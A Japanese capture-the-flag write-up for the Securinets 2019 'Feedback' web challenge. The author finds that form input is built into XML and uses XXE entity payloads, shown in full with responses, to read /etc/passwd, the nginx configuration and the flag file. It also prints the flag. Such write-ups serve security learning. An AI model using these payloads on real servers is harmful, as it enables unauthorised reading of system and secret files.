Securinets CTF Quals 2019 Writeup Web Feedback

Feedback

I created this website to get your feedback on our CTF.

Can you check if it's secure ?

Link Ps: flag stored in "flag" file

Author:Tr'GFx

f:id:Yunolay:20190325092108p:plain

とりあえずソースコードを見る。

f:id:Yunolay:20190325100147p:plain

<script type="text/javascript">
function func(){
    var xml = '' +
        '<?xml version="1.0" encoding="UTF-8"?>' +
        '<feedback>' +
        '<author>' + $('input[name="name"]').val() + '</author>' +
        '<email>' + $('input[name="email"]').val() + '</email>' +
        '<content>' + $('input[name="feedback"]').val() + '</content>' +
        '</feedback>';
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if(xmlhttp.readyState == 4){
            console.log(xmlhttp.readyState);
            console.log(xmlhttp.responseText);
            document.getElementById('Message').innerHTML = xmlhttp.responseText;
        }
    }
    xmlhttp.open("POST","feed.php",true);
    xmlhttp.send(xml);
};
</script>

おそらくXXE攻撃をするのが問題の意図だと推測できる。 とりあえず/etc/passwdを読み出してみる。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><feedback><author>&xxe;</author><email>a</email><content>undefined</content></feedback>
<h4>Thanks For you Feedback root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
simple_user:x:1000:1000::/home/simple_user:/bin/bash
Debian-exim:x:102:102::/var/spool/exim4:/bin/false
</h4>

f:id:Yunolay:20190325092441p:plain

フラグを探したいがドキュメントルートが分からない。 サーバーはnginxなのでコンフィグファイルを確認する。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/nginx/sites-enabled/default" >]><feedback><author>&xxe;</author><email>a</email><content>undefined</content></feedback>
root /var/www/html/epreuve;
index index.php index.html index.htm index.nginx-debian.html;

f:id:Yunolay:20190325092642p:plain

ドキュメントルートが/var/www/html/epreuveだとわかる。

Ps: flag stored in "flag" fileを読んでいなくて悩んだ。 flagを読み出す。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///var/www/html/epreuve/flag" >]><feedback><author>&xxe;</author><email>a</email><content>undefined</content></feedback>
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Sun, 24 Mar 2019 07:13:02 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 67

<h4>Thanks For you Feedback Securinets{Xxe_xXE_@Ll_Th3_W@Y}
</h4>

f:id:Yunolay:20190325092812p:plain

FLAG : Securinets{Xxe_xXE_@Ll_Th3_W@Y}

あとがき

writeupを見るとphp://filterとかfile:///proc/self/cwd/とかを使うほうがスマートなのかもしれない。